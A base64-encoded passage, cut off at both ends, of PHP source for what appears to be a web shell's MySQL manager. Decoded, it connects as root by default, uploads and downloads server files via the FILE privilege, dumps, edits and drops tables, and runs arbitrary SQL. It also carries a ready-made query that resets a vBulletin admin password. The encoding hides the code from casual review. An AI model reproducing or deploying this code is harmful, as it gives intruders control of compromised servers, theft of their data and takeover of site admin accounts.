bHVlJz0+JGRibmFtZSkpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0ibXlzcWxmaWxlIiBpZD0ibXlzcWxmaWxlIj4nKTsKCXAoJzxoMj5VcGxvYWQgZmlsZTwvaDI+Jyk7CglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7CglwKCc8cD5TYXZlIHBhdGgoZnVsbHBhdGgpOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJzYXZlcGF0aCIgc2l6ZT0iNDUiIHR5cGU9InRleHQiIC8+IENob29zZSBhIGZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHR5cGU9ImZpbGUiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWx1cGxvYWRcJyk7Ij5VcGxvYWQ8L2E+PC9wPicpOwoJcCgnPGgyPkRvd25sb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7CgltYWtlaGlkZSgnZGJob3N0Jyk7CgltYWtlaGlkZSgnZGJwb3J0Jyk7CgltYWtlaGlkZSgnZGJ1c2VyJyk7CgltYWtlaGlkZSgnZGJwYXNzJyk7CgltYWtlaGlkZSgnZGJuYW1lJyk7CgltYWtlaGlkZSgnY2hhcnNldCcpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsZmlsZScpOwoJcCgnPC9mb3JtPicpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgewoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkZGJmb3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2YWx1ZT0iMSIgLz4nOwoJaWYoaXNzZXQoJGRiaG9zdCkpewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJ1c2VyKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwYXNzKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwb3J0KSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJuYW1lKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkY2hhcnNldCkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOwoJfQoKCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgewoJCWlmICghJHRhYmxlKSB7CgkJCW0oJ1BsZWFzZSBjaG9vc2UgdGhlIHRhYmxlJyk7CgkJfSBlbHNlIHsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsKCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7CgkJCWlmICgkZnApIHsKCQkJCSRyZXN1bHQgPSBxKCdTSE9XIHRhYmxlcycpOwoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJCQkJJG15c3FsZGF0YSA9ICcnOwoJCQkJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7CgkJCQkJCXNxbGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZnApOwoJCQkJCX0KCQkJCX0KCQkJCWZjbG9zZSgkZnApOwoJCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRwYXRoKTsKCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7CgkJCQlteXNxbF9jbG9zZSgpOwoJCQl9IGVsc2UgewoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOwoJCQl9CgkJfQoJfQoJaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgewoJCSRrZXlzdHIgPSAkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJaWYgKCR2YWwpIHsKCQkJCSRrZXlzdHIgLj0gJHRtcC4ka2V5OwoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJCSR0bXAgPSAnLCc7CgkJCX0KCQl9CgkJaWYgKCRrZXlzdHIgJiYgJHZhbHN0cikgewoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9CglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsKCQkkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJJHRtcCA9ICcsJzsKCQl9CgkJaWYgKCR2YWxzdHIpIHsKCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7CgkJfQoJfQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7CgkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkkZGVsZXRlX3NxbCA9ICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSI7CgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOwoJfQoKCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcpIHsKCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsKCQkJbSgnRHJvcCB0YWJsZSBvZiBzdWNjZXNzJyk7CgkJCSR0YWJsZW5hbWUgPSAnJzsKCQl9IGVsc2UgewoJCQltKG15c3FsX2Vycm9yKCkpOwoJCX0KCX0KCgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJcCgnPHA+Jyk7CglwKCdEQkhvc3Q6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJob3N0Jywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRkYmhvc3QpKTsKCXAoJzonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7CglwKCdEQlVzZXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsKCXAoJ0RCUGFzczonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBhc3MnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRicGFzcykpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nY29ubmVjdCcsJ3ZhbHVlJz0+J0Nvbm5lY3QnLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKPz4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBlZGl0cmVjb3JkKGFjdGlvbiwgYmFzZTY0LCB0YWJsZW5hbWUpewoJaWYgKGFjdGlvbiA9PSAnZGVsJykgewoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOwoJfQoJJCgncmVjb3JkbGlzdCcpLmRvaW5nLnZhbHVlPWFjdGlvbjsKCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0OwoJJCgncmVjb3JkbGlzdCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdyZWNvcmRsaXN0Jykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gbW9kZGJuYW1lKGRibmFtZSkgewoJaWYoIWRibmFtZSkgcmV0dXJuOwoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsKCSQoJ3NldGRibmFtZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7CglpZighdGFibGVuYW1lKSByZXR1cm47CglpZiAoZG9pbmcpIHsKCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOwoJfQoJaWYgKHBhZ2UpIHsKCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsKCX0KCSQoJ3NldHRhYmxlJykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsKCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+Cjw/cGhwCgkvLyBTUUwKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7CgltYWtlaGlkZSgnZG9pbmcnKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJbWFrZWhpZGUoJ2Jhc2U2NCcpOwoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOwoJcCgkZGJmb3JtKTsKCWZvcm1mb290KCk7CgoJLy8gRGF0YQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0ZGJuYW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CglwKCRkYmZvcm0pOwoJaWYgKCEkZGJuYW1lKSB7CgkJbWFrZWhpZGUoJ2RibmFtZScpOwoJfQoJZm9ybWZvb3QoKTsKCgoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0dGFibGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCXAoJGRiZm9ybSk7CgltYWtlaGlkZSgndGFibGVuYW1lJyk7CgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7Cglmb3JtZm9vdCgpOwoKCSRjYWNoZXRhYmxlcyA9IGFycmF5KCk7CgkkcGFnZW51bSA9IDMwOwoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOwoJaWYoJHBhZ2UpIHsKCQkkc3RhcnRfbGltaXQgPSAoJHBhZ2UgLSAxKSAqICRwYWdlbnVtOwoJfSBlbHNlIHsKCQkkc3RhcnRfbGltaXQgPSAwOwoJCSRwYWdlID0gMTsKCX0KCWlmIChpc3NldCgkZGJob3N0KSAmJiBpc3NldCgkZGJ1c2VyKSAmJiBpc3NldCgkZGJwYXNzKSAmJiBpc3NldCgkY29ubmVjdCkpIHsKCQlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOwoJCS8vIGdldCBteXNxbCBzZXJ2ZXIKCQkkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsKCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4kZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7CgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOwoKCQkvLyBTaG93IGRhdGFiYXNlCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsKCQkkZGJzID0gYXJyYXkoKTsKCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOwoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOwoJCX0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsKCQkkdGFibGVkYiA9IGFycmF5KCk7CgkJaWYgKCRkYm5hbWUpIHsKCQkJcCgnPHA+Jyk7CgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUpIHsKCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsKCQkJfQoJCQlwKCc8L3A+Jyk7CgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsKCgkJCSRnZXRudW1zcWwgPSAnJzsKCQkJJHJ1bnF1ZXJ5ID0gMDsKCQkJaWYgKCRzcWxfcXVlcnkpIHsKCQkJCSRydW5xdWVyeSA9IDE7CgkJCX0KCQkJJGFsbG93ZWRpdCA9IDA7CgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7CgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsKCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7CgkJCQkkYWxsb3dlZGl0ID0gMTsKCQkJfQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsKCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSA8Zm9udCBjb2xvcj1yZWQ+PGI+Jy4kZGJuYW1lLic8L2ZvbnQ+PC9iPjo8QlI+RXhhbXBsZSBWQkIgUGFzc3dvcmQ6IDxmb250IGNvbG9yPXJlZD52YmF0ZWFtPC9mb250PjxCUj48Zm9udCBjb2xvcj15ZWxsb3c+VVBEQVRFIGB1c2VyYCBTRVQgYHBhc3N3b3JkYCA9IFwnNjllNTNlNWFiOTUzNmU1NWQzMWZmNTMzYWVmYzRmYmVcJywgc2FsdCA9IFwncDVUXCcgV0hFUkUgYHVzZXJpZGAgPSBcJzFcJyA8L2ZvbnQ+CgkJCTwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7CgkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCAkdGFibGVuYW1lKTsKCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CgkJCXAoJGRiZm9ybSk7CgkJCXAoJzwvZm9ybT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgewoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgewoJCQkJCSRyZXN1bHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdGFibGVuYW1lIik7CgkJCQkJJHJvd2RiID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsKCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPk51bGw8L3RkPicpOwoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOwoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsKCQkJCQlwKCc8dGQ+RXh0cmE8L3RkPicpOwoJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsKCQkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8L3RyPicpOwoJCQkJCX0KCQkJCQl0YmZvb3QoKTsKCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0JykgewoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOwoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQkkcnMgPSBhcnJheSgpOwoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsKCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOwoJCQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJCQl9CgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7CgkJCQkJcCgkZGJmb3JtKTsKCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsKCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7CgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsKCQkJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHJzWyRyb3dbJ0ZpZWxkJ11dKTsKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCSR2YWx1ZSA9ICcnOwoJCQkJCQl9CgkJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgbmFtZT0iaW5zZXJ0c3FsWycuJHJvd1snRmllbGQnXS4nXSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo2MHB4O292ZXJmbG93OmF1dG87Ij4nLiR2YWx1ZS4nPC90ZXh0YXJlYT48L3RkPjwvdHI+Jyk7CgkJCQkJfQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0Ij48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90ZD48L3RyPicpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBkYXRlIiB2YWx1ZT0iVXBkYXRlIiAvPjwvdGQ+PC90cj4nKTsKCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOwoJCQkJCX0KCQkJCQlwKCc8L3RhYmxlPjwvZm9ybT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJJHF1ZXJ5cyA9IEBleHBsb2RlKCc7Jywkc3FsX3F1ZXJ5KTsKCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7CgkJCQkJCWlmICgkcXVlcnkpIHsKCQkJCQkJCXAoIjxwPjxiPlF1ZXJ5I3skbnVtfSA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L3A+Iik7CgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkKCQkJCQkJCXsKCQkJCQkJCQljYXNlIDA6CgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJY2FzZSAxOgoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsKCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOwoJCQkJCQkJCQl9CgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7CgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsKCQkJCQkJCQkJCSRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwgJHRhYmxlbmFtZSk7CgkJCQkJCQkJCX0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBzdHJfcmVwbGFj